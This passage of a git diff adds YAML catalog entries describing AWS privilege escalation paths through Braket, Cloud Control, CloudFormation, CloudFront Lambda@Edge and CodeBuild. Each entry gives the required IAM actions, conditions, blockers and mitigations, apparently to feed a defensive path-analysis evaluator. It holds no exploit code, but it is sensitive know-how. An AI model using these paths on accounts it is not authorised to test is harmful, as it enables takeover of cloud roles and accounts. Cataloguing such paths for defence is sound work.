edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Braket privilege escalation techniques. +# Source: hacktricks-cloud aws-braket-privesc/README.md (rev 171e422299). + +- id: aws-braket-passrole-createjob + provider: aws + service: braket + title: Create a Braket hybrid job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#braketcreatejob--iampassrole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting braket.amazonaws.com by running job + code it controls. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: braket.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: braket.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting braket.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - braket_createjob_device_authorized + conditions: + - id: controlled_job_code + description: The source must write one script archive that the passed role can read, and the role must write the job output prefix. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Braket job roles with iam:PassedToService and limit braket:CreateJob. + references: + - https://docs.aws.amazon.com/braket/latest/APIReference/API_CreateJob.html + notes: CreateJob must authorize both an ONLINE SV1 simulator observed in the Region and the service-generated job ARN. The precondition joins those grants with exact PassRole, Braket service trust, a same-Region script archive writable by the source and readable by the role, and a complete output prefix writable by the role. Other devices and container-image routes remain unresolved. Job scheduling and successful execution remain conditional. diff --git a/src/privilege-escalation-paths-research/aws/budgets.yaml b/src/privilege-escalation-paths-research/aws/budgets.yaml new file mode 100644 index 0000000000..78149a7969 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/budgets.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Budgets privilege escalation techniques. +# Source: hacktricks-cloud aws-budgets-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-research/aws/bulk-principal-v6.yaml b/src/privilege-escalation-paths-research/aws/bulk-principal-v6.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/bulk-principal-v6.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-research/aws/challenge-v3.yaml b/src/privilege-escalation-paths-research/aws/challenge-v3.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/challenge-v3.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-research/aws/chatbot.yaml b/src/privilege-escalation-paths-research/aws/chatbot.yaml new file mode 100644 index 0000000000..5d7d5e26f7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/chatbot.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Chatbot (Amazon Q Developer in chat applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-chatbot-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-research/aws/chime.yaml b/src/privilege-escalation-paths-research/aws/chime.yaml new file mode 100644 index 0000000000..d8b957fe98 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/chime.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS chime privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-research/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-research/aws/cloudcontrol.yaml new file mode 100644 index 0000000000..688636f7c5 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/cloudcontrol.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cloud Control API privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudcontrol-privesc/README.md (rev 171e422299). +# Cloud Control API actions use the cloudformation: IAM prefix. + +- id: aws-cloudcontrol-passrole-createresource + provider: aws + service: cloudcontrol + title: Create an administrator user through Cloud Control API with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource--iampassrole + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: "Administrator of {account} through Cloud Control" + preconditions: + - cloudcontrol_source_can_create_admin_user + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may exclude cloudformation.amazonaws.com. + - id: iam_user_resource + description: The passed role must create one new IAM user, set a chosen console password, and attach or write administrator permissions on that same user. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles with iam:PassedToService and specific role ARNs; deny cloudformation:CreateResource/UpdateResource to principals that should not provision resources directly. + references: + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/resource-operations.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_CreateResource.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/TemplateReference/aws-resource-iam-user.html + notes: Cloud Control assumes a passable role through cloudformation.amazonaws.com. The evaluator requires CreateResource with global Resource scope and a role that can create, read, and give a console password and administrator policy to one new IAM user. A grant limited to an existing stack ARN does not authorize CreateResource. Other Cloud Control resource types need their own permission and outcome checks. diff --git a/src/privilege-escalation-paths-research/aws/cloudformation.yaml b/src/privilege-escalation-paths-research/aws/cloudformation.yaml new file mode 100644 index 0000000000..e57632388a --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/cloudformation.yaml @@ -0,0 +1,333 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFormation privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudformation-privesc/ (README.md and sub-page). + +- id: aws-cloudformation-passrole-createstack + provider: aws + service: cloudformation + title: Create a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestack + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role through a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_stack_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + - id: template_effects + description: A caller-controlled inline template must create a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: The sub-page iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md describes the same edge (DescribeStacks only helps read outputs). A concrete role edge requires fresh reviewed evidence that a caller-controlled template used this exact role for a successful useful operation that the caller could not perform directly. A passable role without that evidence remains unresolved. + +- id: aws-cloudformation-passrole-updatestack + provider: aws + service: cloudformation + title: Update a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by updating an existing stack with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:UpdateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + conditions: + - id: stack_policy + description: A stack policy denying updates may require cloudformation:SetStackPolicy (or a temporary override policy on the update). + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + preconditions: + - cloudformation_existing_stack_updatable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: Needs at least one existing stack covered by cloudformation:UpdateStack. A concrete role edge also requires fresh reviewed evidence on that same stack that a caller-controlled template used this exact role for a successful useful operation unavailable directly to the caller. + +- id: aws-cloudformation-updatestack-attached-role + provider: aws + service: cloudformation + title: Update a stack through its attached CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can change a stack's template using the service role already attached to that exact stack, without passing the role again. + requires: + all_of: + - action: cloudformation:UpdateStack + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:UpdateStack + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_stack_updatable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources unless the caller can supply an override. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope cloudformation:UpdateStack to stacks whose attached service roles are appropriate for the updater, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_UpdateStack.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: CloudFormation continues to use the stack's attached role for future operations even when the updater cannot pass that role. The evaluator requires the recorded RoleARN on the same updatable stack covered by UpdateStack. + +- id: aws-cloudformation-changeset-attached-role + provider: aws + service: cloudformation + title: Execute a change set through a stack's attached service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can supply and execute a change set on an existing stack that already carries a CloudFormation service role. + requires: + all_of: + - action: cloudformation:CreateChangeSet + resource: "{target.attached_resource_arn}" + - action: cloudformation:ExecuteChangeSet + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:CreateChangeSet + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_changeset_executable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope change set creation and execution to stacks whose attached service roles are appropriate for the caller, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateChangeSet.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_ExecuteChangeSet.html + notes: CloudFormation keeps using the stack's attached role when no new RoleARN is supplied. The evaluator requires both actions on the same recorded, updatable stack carrying that role. + +- id: aws-cloudformation-passrole-changeset + provider: aws + service: cloudformation + title: Create and execute a change set with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by creating and executing a change set with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateChangeSet + resource: "*" + - action: cloudformation:ExecuteChangeSet + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_changeset_with_role + conditions: + - id: template_effects + description: A CREATE-type change set needs a caller-controlled inline template with a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: A CREATE-type change set can create a new stack, so no existing stack is required. A concrete role edge requires fresh reviewed evidence that the caller-controlled change set was executed and this exact role performed a successful useful operation unavailable directly to the caller. + +- id: aws-cloudformation-passrole-stackset + provider: aws + service: cloudformation + title: Create or update a self-managed StackSet with a passed administration role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestackset--cloudformationupdatestackset + source_revision: 6fb9ac51fd + summary: The source can run template resource operations through an execution role that the passed administration + role can assume when a new or existing self-managed StackSet can reach that role's account. + pivot_resource_type: aws_stackset_administration_role + requires: + all_of: + - action: iam:PassRole + resource: '{pivot}' + request_context: + iam:PassedToService: cloudformation.amazonaws.com + any_of: + - - action: cloudformation:CreateStackSet + resource: '*' + - action: cloudformation:CreateStackInstances + resource: '*' + - - action: cloudformation:UpdateStackSet + resource: '*' + target: + kind: aws_role + selector: + assumable_by_pivot_role: true + scope: org + aggregate_as: StackSet execution roles assumable by passable administration roles (from {account}) + outcome: impersonation + conditions: + - id: execution_role_name_chosen_by_source + description: The source chooses ExecutionRoleName (default AWSCloudFormationStackSetExecutionRole), so any role + in a target account that the administration role can assume is reachable, not only the default name. + - id: target_account_reachable + description: A new StackSet requires CreateStackSet and CreateStackInstances on the same generated StackSet and its + target account; an update requires an existing self-managed instance in that account. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which administration roles can be passed. + - id: service_managed_stacksets + description: Service-managed StackSets do not use a passed role and are not covered by this entry. The service-managed + variant is covered by aws-cloudformation-service-managed-stackset-org-members. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on StackSet administration roles, scope the administration role's sts:AssumeRole + to specific execution roles, and scope execution-role trust policies to the administration role ARN. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-prereqs-self-managed.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awscloudformation.html + notes: '{pivot} is the StackSet administration role (a role trusting cloudformation.amazonaws.com that the source + can pass). The target is an execution role that pivot can assume. For creation, the evaluator checks CreateStackSet + with that administration role and CreateStackInstances on both the same generated StackSet ARN and a target-account + ARN. For updates it requires a recorded SELF_MANAGED StackSet instance in the target account and UpdateStackSet on + that exact StackSet and target. A concrete execution-role edge requires fresh reviewed evidence that a caller-controlled deployment used this exact administration and execution role pair for a successful useful operation unavailable directly to the caller; otherwise the edge stays unresolved.' + + +- id: aws-cloudformation-registertype-passrole-extension + provider: aws + service: cloudformation + title: Register a private CloudFormation extension with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationregistertype-iampassrole-and-an-extension-invocation-path + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting resources.cloudformation.amazonaws.com, because the handler code of a private resource type or Hook it registers runs with the passed execution role when invoked. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: resources.cloudformation.amazonaws.com + - action: cloudformation:RegisterType + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: resources.cloudformation.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "CloudFormation extension execution roles (trusting resources.cloudformation.amazonaws.com) passable in {account}" + outcome: workload_execution + preconditions: + - cloudformation_extension_package_and_invocation + conditions: + - id: handler_package_readable + description: The source must be able to supply a handler package in S3 that CloudFormation can read during registration. + - id: invocation_path + description: The registered resource type must be invoked through Cloud Control CreateResource or a stack operation on a usable stack. + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:RegisterType/ActivateType to platform administrators, restrict iam:PassRole on extension execution roles, and keep extension roles least-privileged. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_RegisterType.html + - https://docs.aws.amazon.com/cloudformation-cli/latest/userguide/resource-type-develop.html + notes: The evaluator requires PutObject and GetObject on the same object in a recorded S3 bucket, plus a bound CreateResource or stack operation. A concrete role edge requires fresh reviewed evidence that the caller's package registered a private resource type and its handler ran a useful action under this exact execution role; without that evidence the route stays unresolved. SetTypeConfiguration alone cannot invoke a Hook. Extension roles trust resources.cloudformation.amazonaws.com, not cloudformation.amazonaws.com; ActivateType of public extensions is separate because the source does not author that handler. + +- id: aws-cloudformation-service-managed-stackset-org-members + provider: aws + service: cloudformation + title: Deploy a service-managed StackSet into organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation-stacksets + source_revision: b587e6bd26 + summary: A management-account principal can make CloudFormation run IAM resource operations in a member account by deploying a service-managed StackSet with its own template. + requires: + all_of: + - action: cloudformation:CreateStackSet + resource: "*" + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + org_member_account: true + scope: org + aggregate_as: "Member accounts reachable through service-managed StackSets" + outcome: scope_control + conditions: + - id: trusted_access_enabled + description: Trusted access between CloudFormation StackSets and AWS Organizations must be enabled (it creates the stacksets-exec execution roles with administrator access in member accounts). + - id: service_managed_permission_model + description: The new StackSet must use the SERVICE_MANAGED permission model and target the member account's organizational unit in CreateStackInstances. + - id: delegated_administrator + description: A registered StackSets delegated administrator (CallAs DELEGATED_ADMIN) can also deploy, but this entry draws edges only from the management account. + - id: management_account_not_targeted + description: Service-managed StackSets never deploy to the management account; member-account SCPs still constrain the template's resources. + preconditions: + - source_in_org_management_account + - target_in_other_account + - cloudformation_service_managed_stackset_targetable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:CreateStackSet, CreateStackInstances and UpdateStackSet in the management and delegated-administrator accounts to deployment roles, keep the management account free of workloads, and review delegated StackSets administrators and auto-deployment OUs. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-activate-trusted-access.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-delegated-admin.html + notes: Complements aws-cloudformation-passrole-stackset, which models self-managed StackSets. No iam:PassRole is involved. The evaluator requires recorded enabled Organizations access, the member account's OU, and CreateStackInstances permission on the same generated StackSet, its OU target and the IAM role resource type. A concrete account-admin edge additionally requires fresh reviewed evidence of a successful deployment and usable administrator access through an exact recorded IAM principal in the member account. Otherwise the member-account route stays unresolved. diff --git a/src/privilege-escalation-paths-research/aws/cloudfront.yaml b/src/privilege-escalation-paths-research/aws/cloudfront.yaml new file mode 100644 index 0000000000..e11eebff3b --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/cloudfront.yaml @@ -0,0 +1,65 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFront privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudfront-privesc/README.md. + +- id: aws-cloudfront-lambda-edge-passrole + provider: aws + service: cloudfront + title: Associate a new Lambda@Edge function with a passed role to a new or existing distribution + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#lambdacreatefunction-lambdapublishversion-iampassrole--cloudfrontupdatedistribution + source_revision: 41b7481234 + summary: The source can obtain the privileges of passable roles trusting both lambda.amazonaws.com and edgelambda.amazonaws.com + by running a Lambda@Edge function it controls on a distribution it can create or update. + requires: + all_of: + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:PublishVersion + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:GetFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:EnableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:DisableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: lambda.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: + - lambda.amazonaws.com + - edgelambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting lambda and edgelambda in {account} + outcome: workload_execution + preconditions: + - cloudfront_edge_distribution_and_service_roles + conditions: + - id: first_time_slr + description: The first Lambda@Edge association in an account also needs iam:CreateServiceLinkedRole. + - id: us_east_1 + description: The function must be created in us-east-1. + - id: same_version_and_distribution + description: The Lambda actions must cover one new function and its numbered version, and the source must be able to create or update a distribution that will invoke it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda@Edge roles and cloudfront:CreateDistribution / UpdateDistribution. + references: + - https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html + notes: trust_allows_service given as a list means every listed principal must be trusted. Roles trusting only + lambda.amazonaws.com are reachable through the generic Lambda PassRole technique (lambda.yaml) instead. The + Lambda@Edge permissions page writes replication permissions with trailing wildcards; the concrete actions in the + Service Authorization Reference are lambda:EnableReplication and lambda:DisableReplication. The precondition + checks cloudfront:CreateDistribution on * or cloudfront:UpdateDistribution on one exact recorded distribution; + a wildcard requirement on UpdateDistribution would miss permissions scoped to that distribution. diff --git a/src/privilege-escalation-paths-research/aws/cloudwatch.yaml b/src/privilege-escalation-paths-research/aws/cloudwatch.yaml new file mode 100644 index 0000000000..2195395342 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/cloudwatch.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudwatch-omni-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-research/aws/codeartifact.yaml b/src/privilege-escalation-paths-research/aws/codeartifact.yaml new file mode 100644 index 0000000000..4855f3d5e3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codeartifact.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS codeartifact privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-research/aws/codebuild.yaml b/src/privilege-escalation-paths-research/aws/codebuild.yaml new file mode 100644 index 0000000000..d6ed68dfb0 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/codebuild.yaml @@ -0,0 +1,334 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeBuild privilege escalation techniques. +# Source: hacktricks-cloud aws-codebuild-privesc/README.md. + +- id: aws-codebuild-startbuild-attached-role + provider: aws + service: codebuild + title: Start a build of an existing project with an overridden buildspec + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a build (or build batch) with build commands it controls. + requires: + all_of: [] + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + batch: + build-list: + - identifier: run + phases: + build: + commands: + - aws sts get-caller-identity + target: + kind: aws_role + selector: + attached_to_service: codebuild + scope: same_account + aggregate_as: "Service roles of CodeBuild projects the source can start in {account}" + preconditions: + - codebuild_existing_project_buildspec_override + conditions: + - id: override_available + description: StartBuild accepts buildspec, source and environment-variable overrides without extra permissions; StartBuildBatch needs a batch service role able to start child builds. + - id: runnable_project + description: The project must be able to start a build and reach the attacker-controlled inline buildspec. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartBuild/StartBuildBatch to pipelines and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartBuild.html + notes: The selected build action applies to the same project carrying the target role. Environment-variable overrides (StartBuild Env Var Override subsection) are a variant of the same edge. + +- id: aws-codebuild-startcommandexecution + provider: aws + service: codebuild + title: Run a command in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + it can send commands to. + requires: + all_of: + - action: codebuild:StartCommandExecution + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartCommandExecution + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_command + conditions: + - id: running_sandbox + description: A sandbox must be running for the project (or the source must also hold codebuild:StartSandbox). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict sandbox actions and stop idle sandboxes. + references: [] + notes: No iam:PassRole, StartBuild or UpdateProject is needed. The evaluator checks StartCommandExecution on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-startsandboxconnection + provider: aws + service: codebuild + title: Open an interactive Session Manager shell in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartsandboxconnection--open-an-interactive-shell-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + by opening an interactive shell inside the sandbox container. + requires: + all_of: + - action: codebuild:StartSandboxConnection + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartSandboxConnection + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_connection + conditions: + - id: running_sandbox + description: A sandbox must be running for the project and its ID known to the source. + - id: ssm_agent_in_image + description: The sandbox image must have a working SSM Agent and the project configuration must allow CodeBuild + to start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope codebuild:StartSandboxConnection to exact sandbox ARNs of trusted operators and stop idle sandboxes. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandboxConnection.html + notes: Caller-side ssm:StartSession and iam:PassRole are not required. The evaluator checks StartSandboxConnection on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-passrole-createproject + provider: aws + service: codebuild + title: Create a CodeBuild project with a passed service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildcreateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by creating and running a project with that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + - action: codebuild:CreateProject + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + any_of: + - - action: 